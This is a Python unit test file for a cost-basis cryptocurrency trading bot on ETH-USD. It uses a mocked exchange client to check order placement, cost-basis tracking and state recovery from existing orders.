import logging import unittest from unittest.mock import Mock, MagicMock from tests.authenticated_client_regression import AuthenticatedClientRegression from trader.cost_basis import CostBasisTrader logging.basicConfig(format='%(levelname)s:%(message)s', level=logging.DEBUG) class TestCostBasis(unittest.TestCase): def test_on_order_done(self): auth_client_mock = AuthenticatedClientRegression('ETH-USD', [100, 100, 100, 100], starting_balance=10000) auth_client_mock.cancel_all = Mock() auth_client_mock.get_product_ticker = MagicMock(return_value={ 'price': '100', }) trader = CostBasisTrader('ETH-USD', 3, 0.1, auth_client=auth_client_mock) trader.on_start() # Get limit order and mock it's been filled limit_order = [x for x in auth_client_mock.orders if x['type'] == 'limit'][0] self.assertEqual(len(auth_client_mock.orders), 2) trader.on_order_done({ 'order_id': limit_order['id'], 'reason': 'filled', 'product_id': 'ETH-USD', }) self.assertEqual(trader.current_order_depth, 1) self.assertEqual(trader.quote_currency_paid, 10 * 99.0) self.assertEqual(trader.base_currency_bought, 10) self.assertEqual(len(auth_client_mock.orders), 2) expected = { 'side': 'sell', 'size': '10.0', 'price': '99.99', 'type': 'limit', 'post_only': True, } self.assertIn(expected, [{k: x[k] for k in expected.keys()} for x in auth_client_mock.orders]) expected = { 'side': 'buy', 'size': '10.30405061', 'price': '97.05', 'type': 'limit', 'post_only': True, } self.assertIn(expected, [{k: x[k] for k in expected.keys()} for x in auth_client_mock.orders]) # Get the buy order and mock that it's filled buy_order = [x for x in auth_client_mock.orders if x['side'] == 'buy'][0] trader.on_order_done({ 'order_id': buy_order['id'], 'reason': 'filled', 'product_id': 'ETH-USD', }) self.assertEqual(trader.current_order_depth, 2) self.assertEqual(trader.quote_currency_paid, 1990.0081117005002) self.assertEqual(trader.base_currency_bought, 20.30405061) self.assertEqual(len(auth_client_mock.orders), 2) expected = { 'side': 'sell', 'size': '20.30405061', 'price': '98.99', 'type': 'limit', 'post_only': True, } self.assertIn(expected, [{k: x[k] for k in expected.keys()} for x in auth_client_mock.orders]) expected = { 'side': 'buy', 'size': '10.51115093', 'price': '95.14', 'type': 'limit', 'post_only': True, } self.assertIn(expected, [{k: x[k] for k in expected.keys()} for x in auth_client_mock.orders]) # 3 deep now buy_order = [x for x in auth_client_mock.orders if x['side'] == 'buy'][0] trader.on_order_done({ 'order_id': buy_order['id'], 'reason': 'filled', 'product_id': 'ETH-USD', }) self.assertEqual(trader.current_order_depth, 3) self.assertEqual(trader.quote_currency_paid, 2990.0390111807) self.assertEqual(trader.base_currency_bought, 30.81520154) self.assertEqual(len(auth_client_mock.orders), 2) expected = { 'side': 'sell', 'size': '30.81520154', 'price': '98.0', 'type': 'limit', 'post_only': True, } self.assertIn(expected, [{k: x[k] for k in expected.keys()} for x in auth_client_mock.orders]) expected = { 'side': 'buy', 'size': '10.72131821', 'price': '93.27', 'type': 'limit', 'post_only': True, } self.assertIn(expected, [{k: x[k] for k in expected.keys()} for x in auth_client_mock.orders]) # Unknown order, ignore trader.on_order_done({ 'order_id': 'dummy', 'reason': 'filled', 'product_id': 'ETH-USD', }) self.assertEqual(trader.current_order_depth, 3) self.assertEqual(trader.quote_currency_paid, 2990.0390111807) self.assertEqual(trader.base_currency_bought, 30.81520154) self.assertEqual(len(auth_client_mock.orders), 2) expected = { 'side': 'sell', 'size': '30.81520154', 'price': '98.0', 'type': 'limit', 'post_only': True, } self.assertIn(expected, [{k: x[k] for k in expected.keys()} for x in auth_client_mock.orders]) expected = { 'side': 'buy', 'size': '10.72131821', 'price': '93.27', 'type': 'limit', 'post_only': True, } self.assertIn(expected, [{k: x[k] for k in expected.keys()} for x in auth_client_mock.orders]) # 4 deep, sell should go out but no buy buy_order = [x for x in auth_client_mock.orders if x['side'] == 'buy'][0] trader.on_order_done({ 'order_id': buy_order['id'], 'reason': 'filled', 'product_id': 'ETH-USD', }) self.assertEqual(trader.current_order_depth, 4) self.assertEqual(trader.quote_currency_paid, 3990.0163606274) self.assertEqual(trader.base_currency_bought, 41.53651975) self.assertEqual(len(auth_client_mock.orders), 1) expected = { 'side': 'sell', 'size': '41.53651975', 'price': '97.02', 'type': 'limit', 'post_only': True, } self.assertIn(expected, [{k: x[k] for k in expected.keys()} for x in auth_client_mock.orders]) # Sell comes in, should reset the cost basis to market sell_order = [x for x in auth_client_mock.orders if x['side'] == 'sell'][0] trader.place_next_orders({ 'maker_order_id': sell_order['id'], 'taker_order_id': '', 'type': 'match', 'price': sell_order['price'], 'side': 'sell', 'size': sell_order['size'], }) self.assertTrue(sell_order['id'] not in auth_client_mock.orders) self.assertEqual(trader.current_order_depth, 0) self.assertEqual(trader.quote_currency_paid, 0.0) self.assertEqual(trader.base_currency_bought, 0.0) self.assertEqual(len(auth_client_mock.orders), 2) expected = { 'side': 'buy', 'size': '10.0', 'price': '101.0', 'type': 'stop', 'post_only': False, } self.assertIn(expected, [{k: x[k] for k in expected.keys()} for x in auth_client_mock.orders]) expected = { 'side': 'buy', 'size': '10.0', 'price': '99.0', 'type': 'limit', 'post_only': True, } self.assertIn(expected, [{k: x[k] for k in expected.keys()} for x in auth_client_mock.orders]) wallet_value = trader.get_available_balance('USD') for order in auth_client_mock.orders: wallet_value += float(order['size']) * float(order['price']) # Make sure we actually made money... self.assertGreater(wallet_value, 10000) def test_recovery(self): auth_client_mock = AuthenticatedClientRegression('ETH-USD', [100, 100, 100, 100]) auth_client_mock.get_accounts = MagicMock(return_value=[ { 'currency': 'ETH', 'available': '0', 'balance': '0', 'id': '1', }, { 'currency': 'USD', 'available': '10000', 'balance': '10000', 'id': '2', }, ]) auth_client_mock.cancel_order = MagicMock(return_value={}) auth_client_mock.cancel_all = Mock() auth_client_mock.get_product_ticker = MagicMock(return_value={ 'price': '100', }) trader = CostBasisTrader('ETH-USD', 3, 0.1, auth_client=auth_client_mock) trader.on_start() self.assertTrue(len(auth_client_mock.orders), 2) self.assertEqual(trader.base_currency_bought, 0.0) self.assertEqual(trader.quote_currency_paid, 0.0) self.assertEqual(trader.current_order_depth, 0) # Has seeding orders, assert orders are the same trader = CostBasisTrader('ETH-USD', 3, 0.1, auth_client=auth_client_mock) orders = [ { 'id': 'id1', 'side': 'buy', 'size': '20', 'price': '101.0', 'type': 'stop', 'product_id': 'ETH-USD', 'post_only': False, }, { 'id': 'id1', 'side': 'buy', 'size': '20', 'price': '99.0', 'type': 'limit', 'product_id': 'ETH-USD', 'post_only': True, }, ] auth_client_mock.orders = orders trader.on_start() self.assertTrue(len(auth_client_mock.orders), 2) self.assertEqual(trader.base_currency_bought, 0.0) self.assertEqual(trader.quote_currency_paid, 0.0) self.assertEqual(trader.current_order_depth, 0) self.assertEqual(auth_client_mock.orders, orders) # Has limit buy and sell, pick up where we were trader = CostBasisTrader('ETH-USD', 3, 0.1, auth_client=auth_client_mock) orders = [ { 'id': 'id1', 'side': 'sell', 'size': '20', 'price': '101.0', 'type': 'limit', 'product_id': 'ETH-USD', 'post_only': True, }, { 'id': 'id1', 'side': 'buy', 'size': '20', 'price': '99.0', 'type': 'limit', 'product_id': 'ETH-USD', 'post_only': True, }, ] auth_client_mock.orders = orders trader.on_start() self.assertTrue(len(auth_client_mock.orders), 2) self.assertEqual(trader.base_currency_bought, 20) self.assertEqual(trader.quote_currency_paid, 20 * 100) self.assertEqual(trader.current_order_depth, 2) self.assertEqual(auth_client_mock.orders, orders) # Has limit sell, pick up where we were trader = CostBasisTrader('ETH-USD', 3, 0.1, auth_client=auth_client_mock) orders = [ { 'id': 'id1', 'side': 'sell', 'size': '20', 'price': '101.0', 'type': 'limit', 'product_id': 'ETH-USD', 'post_only': True, }, ] auth_client_mock.orders = orders trader.on_start() self.assertTrue(len(auth_client_mock.orders), 2) self.assertEqual(trader.base_currency_bought, 20) self.assertEqual(trader.quote_currency_paid, 20 * 100) self.assertEqual(trader.current_order_depth, 2) self.assertEqual(auth_client_mock.orders, orders) # Only has buy, reset trader = CostBasisTrader('ETH-USD', 3, 0.1, auth_client=auth_client_mock) orders = [ { 'id': 'id1', 'side': 'buy', 'size': '20', 'price': '99.0', 'type': 'limit', 'product_id': 'ETH-USD', 'post_only': True, }, ] auth_client_mock.orders = orders trader.on_start() self.assertTrue(len(auth_client_mock.orders), 2) self.assertEqual(trader.base_currency_bought, 0.0) self.assertEqual(trader.quote_currency_paid, 0.0) self.assertEqual(trader.current_order_depth, 0) # Weird order state, resets status trader = CostBasisTrader('ETH-USD', 3, 0.1, auth_client=auth_client_mock) orders = [ { 'id': 'id1', 'side': 'sell', 'size': '20', 'price': '101.0', 'type': 'limit', 'product_id': 'ETH-USD', 'post_only': True, }, { 'id': 'id1', 'side': 'buy', 'size': '20', 'price': '99.0', 'type': 'limit', 'product_id': 'ETH-USD', 'post_only': True, }, { 'id': 'id1', 'side': 'buy', 'size': '20', 'price': '99.0', 'type': 'limit', 'product_id': 'ETH-USD', 'post_only': True, }, ] auth_client_mock.orders = orders self.assertTrue(len(auth_client_mock.orders), 2) self.assertEqual(trader.base_currency_bought, 0.0) self.assertEqual(trader.quote_currency_paid, 0.0) self.assertEqual(trader.current_order_depth, 0)

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false

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